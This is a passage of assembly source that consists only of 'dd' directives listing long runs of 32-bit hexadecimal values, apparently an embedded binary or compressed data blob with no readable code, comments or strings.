427A92A2h dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh, 32037273h dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h dd 53449FD0h, 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh, 28393A29h dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h dd 2E03117h, 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h dd 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h, 0B8010C6h dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h, 0E4CCA02Fh dd 0E0D3ECC1h dd 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h, 7836C026h dd 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch, 0A052431Ch dd 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h, 0A12C252h dd 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h, 1C8B0104h dd 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h, 44073848h dd 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h, 5DD82046h dd 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h, 5800C909h dd 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh, 17039A7Eh dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah, 0EDE7C1F9h dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch, 0BEE2418h dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h, 200758C4h dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch, 0BB6CF74h dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh, 53012910h dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h, 29206A15h dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h dd 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h, 2AB47023h dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h, 0AA4D3B21h dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h, 0E2C78E21h dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h, 437C9C00h dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h, 275FC4F7h dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h dd 348504Ah, 4C425A06h, 84C37210h, 0B3EF54B0h, 0B8278000h dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h dd 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch, 50EF4000h dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h dd 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h, 8901ABCDh dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h, 9300ACE1h dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h, 7B816A09h dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h dd 24A91229h, 3B51064h, 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h dd 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h, 0F87C7E0Fh dd 7DAB40FDh, 0BDCE17h, 0A9F047C1h, 234E9C24h, 4BE2600h dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h, 9600D7D2h dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh, 0D62F3010h dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h, 721E1CDh dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h, 2BA09DC2h dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h dd 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h, 700E1000h dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h dd 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h, 1BCEFC5Ch dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h, 97000185h dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h, 9AD8C400h dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h, 0C40D544h dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h dd 42900FFEh dd 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h, 8D2A107h dd 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh, 0ED4254B9h dd 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch, 0D2BB8211h dd 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h, 0BAEB8637h dd 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h, 0B6FEF463h dd 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h, 641545Ah dd 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h dd 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h, 0F5504890h dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh, 3F97F51h dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh, 1F4C37C7h dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah, 80D7143Ch dd 8A2B5A3h, 58D59502h, 17BD71Fh, 7E2B3CCh, 0DD6C1904h dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h, 0E6EBF600h dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh, 800E83B6h dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h dd 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h, 720C81Dh dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h, 3887A42Ah dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h, 0BD9D0718h dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h, 0A4A87D01h dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh, 0DE4CAF00h dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch, 1DA500E1h dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h, 54A43724h dd 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h, 22F93109h dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh, 3F0CE2AAh dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh, 8006569Ch dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h, 1BD00506h dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh, 0FB4ED472h dd 29B330h, 981CB2E2h, 5D1EE933h, 4B6EAD01h, 6F4A4CCAh dd 0FEE60B7Bh, 8301F580h, 38002DE2h, 11FF5AADh, 9088D496h dd 0B17DEFh, 9D28467Eh, 0F2A4C010h, 0F5A1361Fh, 38290B00h dd 0EA42FFh, 19934ADh, 0A5E32858h, 0C200B9F6h, 69AE1D84h dd 0EA2FD27h, 0D101F0Ch, 0F8E37D40h, 2002577Fh, 0D1958EFFh dd 0AF184188h, 2C7024F7h, 29C100AEh, 6C1504F2h, 142F43Fh dd 0E95018C8h, 13208DAEh, 62F023h, 4216E427h, 0AF1C843Ch dd 0F736900h, 5338E7F4h, 0C0A24BFFh, 8215E496h, 244C8900h dd 0BCC2F408h, 70740127h, 4B5C7C3Dh, 1822E814h, 571F5E00h dd 0E647FC26h, 50A200D2h, 0C6083145h, 4E8C4D6h, 3F50E4F8h dd 91263382h, 270BA3EEh, 48C800C3h, 7E525F1h, 4C592D2Eh dd 1A24E033h, 0D20031B0h, 585067D1h, 901485E5h, 0E9C40009h dd 3064124Ch, 0AB1E68B8h, 2F5D3353h, 4A59ACCCh, 0FE5A00B9h dd 2CD7C417h, 4D7CDD2Dh, 4E7C2F7Ch, 8025103Eh, 0A159E2A4h dd 984BE623h, 242F862h, 2ECFB118h, 0C6405662h, 0FF1F3452h dd 691F4B84h, 29906F03h, 7F1D018h, 98E6F601h, 0F03C165Fh dd 0FD9D0BC3h, 1F6E4D0Fh, 24A120C0h, 2E0066C5h, 2DAC22B3h dd 0FFF94CEh, 49B21723h, 554741C0h, 633EE75Bh, 4A089FABh dd 89DCD243h, 0C72DDB72h, 0C4074B0h, 6EEB60ABh, 0D9C2F030h dd 3DC18C48h, 353983E4h, 0D846F2B8h, 0EE1820h, 5C4D27D1h dd 251C48B5h, 1162A10Eh, 2C57C0B3h, 3B5E37h, 0E85C136Dh dd 4810358Ah, 0C3FC2B8h, 5BD183BAh, 0B51C57F4h, 0BFA32280h dd 48F22494h, 0F3223057h, 0F13B8979h, 8B1300E8h, 5B45DB05h dd 5F09024h, 38507BF9h, 6226C3E9h, 3560B4DAh, 2B059714h dd 486F3917h, 0E85BD783h, 328230Eh, 0F981C5CBh, 1A052238h dd 0F20AE9D2h, 70933C8h, 18F1EA46h, 0D9012BDCh, 0F1561527h dd 1316F04Bh, 0B5372100h, 3A7930C4h, 12B21F2Ah, 0F41A682h dd 88C3436Eh, 5DFBF210h, 7A94F998h, 0FF421B8h, 0EA13DDF8h dd 800073AFh, 0EB16110Dh, 4E2B3EBCh, 490BA6CCh, 0CC03A513h dd 0B8F05EC4h, 0F300F0A0h, 6D40703Eh, 7B64253h, 0FCDD6510h dd 0CAEB7091h, 69053314h, 9809A25Bh, 56CB6B80h, 0A4D7CE7h dd 10A02B2Eh, 0CFC04E1h, 2D68C8A6h, 0C7CC2C00h, 0EC1B0960h dd 5AA01273h, 1F8F01A1h, 0E47A2EB7h, 8FFC5D16h, 0EC56682Ch dd 8447521Fh, 0FC20DE64h, 6490A8D3h, 1FA1224Bh, 0B89D979Fh dd 0A774ABC7h, 490EC491h, 5A1E60BDh, 2B25439Ch, 9C0C7CDh dd 6D1FED19h, 0C2006A3Ah, 4034B81Eh, 8D130F0Dh, 71E35C89h dd 1E3FEAA1h, 63108351h, 0D81F97DFh, 0FAED8F0Ah, 1E080059h dd 0B2669634h, 2861A83Ah, 0ED4B0D7Bh, 44A64C4h, 0CE2970FEh dd 167CD085h, 0E0EDFCEEh, 0B9071C09h, 5AD09F7Bh, 347480BBh dd 0F84FA1FEh, 43610708h, 0E08DF1E0h, 91AA683Fh, 79015C79h dd 5108C1B7h, 0BDF46A7Bh, 6F183ACCh, 389D8680h, 9FEEF2A6h dd 0A1FEAAE2h, 10C6B900h, 4F76436Fh, 7D26E871h, 0AA3E3EEFh dd 0E7BA1E00h, 86AD6F3Ch, 0F00BB900h, 34B5EF69h, 6D2D00BDh dd 0D9965E1h, 6E01E4E9h, 0A0A84B3Dh, 0DE60EF49h, 137FCA4h dd 521B102Ch, 214F9E7Bh dd 3C59F812h, 0FC8CE9E7h, 4008006h, 0FAE287F0h, 0E2D0D6BAh dd 0D38900E9h, 84B2A36Eh, 8F00F033h, 0BB31C413h, 881438h dd 0A58552C0h, 7C428CC5h, 7C6BF048h, 87E28024h, 52F74400h dd 922282Dh, 0F049B3A8h, 0E2B7B103h, 0C1A78CD0h, 7B09C5B0h dd 8F7E2Ah, 8834ACCDh, 5C85F665h, 14007990h, 430DFCF1h dd 0A21F9EBCh, 64C49C21h, 0E3C0040Ch, 0FC44173Fh, 860904B6h dd 806FD3E9h, 8F899906h, 1336F100h, 65E39327h, 0EF0248FCh dd 0FE7B5400h, 0C624D4A6h, 0D913F116h, 3837BD00h, 0D4189h dd 5F096F7Bh, 687E5A99h, 800006B8h, 428FF21Ch, 0F5DD255h dd 4A259A9Ch, 0E991C743h, 0D07E3580h, 9EEE3403h, 0C72FD433h dd 9F5B96F0h, 0D1F001C1h, 10B26E7Fh, 38B7F0A9h, 0E4A8C200h dd 64891555h, 2B7114h, 2051D7F6h, 0D35A2C08h, 6FA0CE2Eh dd 41A9F307h, 0ED155E0h, 0ACD93B4Ch, 8B0F4B3Eh, 80A15061h dd 6592D243h, 0BE8DF32h, 3CFA082Bh, 0C5E52D0Fh, 5E34A787h dd 21062090h, 7EF34CCCh, 48030800h, 0F8F2AED4h, 94D79F00h dd 2B12D63Fh, 88A91DD2h, 0F44240B8h, 56080CC8h, 0F172D307h dd 606F50FAh, 46BAD6A5h, 0E6550012h, 23AB5FACh, 0B00C42Ch dd 2EF49D04h, 0A43C30h, 0CE034C7Fh, 0C941062h, 9F508800h dd 12D71114h, 0F2570089h, 54521F1Dh, 3307E3A5h, 190ACAA3h dd 12504AE0h, 3A580991h, 0F802108h, 47E4A542h, 97487E01h dd 0F08C638Eh, 70282E81h, 0F4EA0658h, 0C4008312h, 849CBD1Ch dd 70FE14B8h, 51530030h, 0B31FC89h, 3D0083C9h, 646D43Ch dd 177D04h, 868A164Eh, 7536EDE0h, 3890F00h, 41AEC383h dd 67F93D8Fh, 0F81FEB85h, 0A593802Fh, 0F0001312h, 5A76D0BFh dd 95FA80h, 431CAE52h, 0E0D933F4h, 1C80600h, 0ABCAD1C0h dd 0D750024h, 184EC636h, 27001653h, 6C38FFECh, 7C82FEB8h dd 8A13005Dh, 0EA704A48h, 0D726812h, 5900A2EAh, 42CE4DB6h dd 3050CE6h, 1CDA0849h, 20D85B14h, 76002734h, 402D4258h dd 0C1F041h, 3905E624h, 5312EF97h, 0FB005DECh, 4945D733h dd 15C940Fh, 810834B0h, 0F025BFC6h, 24000901h, 28007F2h dd 1EE231h, 0D6D3E30Bh, 32A221E6h, 907C4A00h, 0B833F934h dd 0F86A1E42h, 0C910170h, 6FDE1A9Fh, 16E06E00h, 28E7EDh dd 0FB5230F3h, 8DBC6B2Eh, 0AA77DE0Fh, 10476068h, 3956CE2Ah dd 1F764D5h, 9A531EE7h, 6011F121h, 6A0434A5h, 543AA074h dd 0A18E4BC1h, 42F3C8h, 1E0FE368h, 84F2E8B2h, 38FA3000h dd 9C2351FBh, 321100AAh, 8E501847h, 0E1EEA1F1h, 4A8F0700h dd 46D6FCCEh, 20BC001Ch, 6FCCFB87h, 0D51E28C8h, 23002C90h dd 34435E30h, 8D3800FCh, 0B21A3CF9h, 64001F40h, 48C86B44h dd 244C917Fh, 9223BFh, 55AD5442h, 0C60372F8h, 0CFA0B58h dd 0AA5A98A5h, 0E5C800F6h, 6F32255Ch, 84B853F8h, 6029BE03h dd 0F0F6A92Eh, 4C96F0AAh, 363F7FC2h, 0F9E2F483h, 68C8BE4Eh dd 0F000522Eh, 598D6CE8h, 0B70F70h, 7890DD28h, 58877CFBh dd 0BF24B401h, 0F3A7CCF2h, 726A21ECh, 5DF60384h, 1C8862B2h dd 0F4D3F9E9h, 0CA3E8C72h, 0BE32BEFCh, 0FFA58090h, 0A21B94D1h dd 44350098h, 0A0887A9Ch, 0A40310D5h, 11425FBAh, 0F7DCC8E9h dd 84670E92h, 0FD40A835h, 0AB05487Bh, 7DDF5D12h, 0E8CC00AFh dd 3B0CDBF5h, 2DAC4400h, 6FE60B27h, 331F0BEh, 1CDD2E72h dd 0F1A887B0h, 0EF00AE5Dh, 60B5412Ah, 3CF059C6h, 280047FBh dd 0CB1B4D72h, 0A84803DCh, 0A4E9036Eh, 0F004255Fh, 316B8ECh dd 0F6542191h, 0BCB185DDh, 0DCB771ABh, 7F01C0C8h, 0E4DE4F88h dd 48F7AC4h, 1DA032F1h, 1660C5E2h, 0ACCC431Dh, 81DE42CFh dd 3788D5D0h, 3FD43280h, 72DF70C4h, 623DD800h, 0DC19F29Bh dd 0E6F1010Eh, 0E0210B61h, 0D003CDD6h, 6A00E464h, 77DF58C4h dd 1FF63FA2h, 8091621Fh, 0B11EEC39h, 0C58F3BCh, 7780BCAh dd 0F4870063h, 2C4ABAh, 886F883h, 0CA62C1D6h, 0FC957703h dd 0F08BD235h, 1D0105E7h, 0C3A33174h, 3994DAEDh, 575DD797h dd 2EA5C208h, 10CCBE0h, 10C46B1Dh, 14C83F02h, 0AA34C0F5h dd 0FC1C0221h, 0C6E92046h, 828F584h, 0FE30002Ch, 46743423h dd 3CA83800h, 1A40518Fh, 35441FA2h, 0B4098F12h, 0BB7374E0h dd 0DE005020h, 11C2FB0Dh, 5B5458h, 2C7B1BEBh, 48C481D8h dd 2879BD00h, 7FC8FCCBh, 8B1C09CCh, 0DDD402h, 803FB9B4h dd 88FC31h, 86E0B54h, 0EA7585C1h, 0D16AFE00h, 24483266h dd 0E27F00E7h, 15FF02ECh, 42756338h, 741F1A7Ah, 840111DCh dd 0E4BAC766h, 1E90ECh, 0FF5014E3h, 0C1E0166Fh, 3205C000h dd 49420902h, 7DF60075h, 0F1FF1B0Eh, 0C01F8330h, 0D2C00A80h dd 0E3672674h, 21230054h, 0DB310353h, 302F1A8Ah, 16DD4C3h dd 332F6225h, 0AF1870FBh, 5F5CC600h, 305BEB29h, 82960136h dd 7E908173h, 3B8ECE3h, 3C01AF98h, 0C6BFC241h, 7DC06BCh dd 9C70038h, 0CC5C105h, 1717E29h, 87C0CC3Bh, 0CD410D80h dd 7C10F60h, 0CE810ECFh, 0AC30E40h, 0CB90CA87h, 11E0B80h dd 9DDC0C9h, 0C84108C7h, 18F7D8F7h, 0D9671947h, 0DBC11B00h dd 0DA1C2881h, 21E67EBh, 0DF47DEh, 0C0DD011Fh, 71881D5Ch dd 1DC4138h, 81D4C114h, 15C040D5h, 0C0D70001h, 41168017h dd 0D2E4D678h, 13EC12E8h, 2D37000h, 81D1C111h, 0E0400CD0h dd 309AF05Fh, 0F141F5A0h, 0C13033E0h, 40F28AF3h, 361E3932h dd 0F738F63Ah, 0F5013702h, 340135C0h, 3CC0F441h, 81FC10C1h dd 13D04FDh, 2083C0FFh, 0FE8A393Eh, 3A3BFA3Ah, 0FB703B00h dd 0F9C13901h, 40F8810Eh, 8128CE38h, 41E677D9h, 0EBC829FDh dd 802B07C0h, 25EAE12Ah, 1F0FAEEEh, 0C0EF0F2Fh, 0ED0BC12Dh dd 78EC6381h, 24DBE456h, 41259A00h, 12713E5h, 0E6810084h dd 22C12640h, 0E10AF631h, 0E723E0E3h, 21C0033Bh, 0D7412080h dd 60F7A0D7h, 0A1D761B7h, 0EF0063E5h, 40A281A3h, 97762h dd 0A787A629h, 0A5016780h, 64DC6581h, 0EA47041h, 81ACC16Ch dd 6D40AD00h, 0C001AF01h, 6E1E806Fh, 0AAD1AE41h, 6BE06AD9h dd 0AB701Ch, 81A9C169h, 687040A8h, 0B8027867h, 7900B947h dd 14C0BB01h, 0AA7A807Bh, 0BEBFBA3Fh, 7F0E7EBBh, 7D00BF70h dd 0BC81BDC1h, 0DE7C4030h, 2674C0B4h, 3BE17580h, 0B7CE7730h dd 403BB681h, 87720E76h, 80B340B2h, 81B10173h, 4170DC71h dd 5010B070h, 910090C1h, 93015140h, 528053C0h, 76927441h dd 1C567896h, 1971C57h, 8195C155h, 54CD4094h, 0C0019C01h dd 415D805Ch, 5FE49D70h, 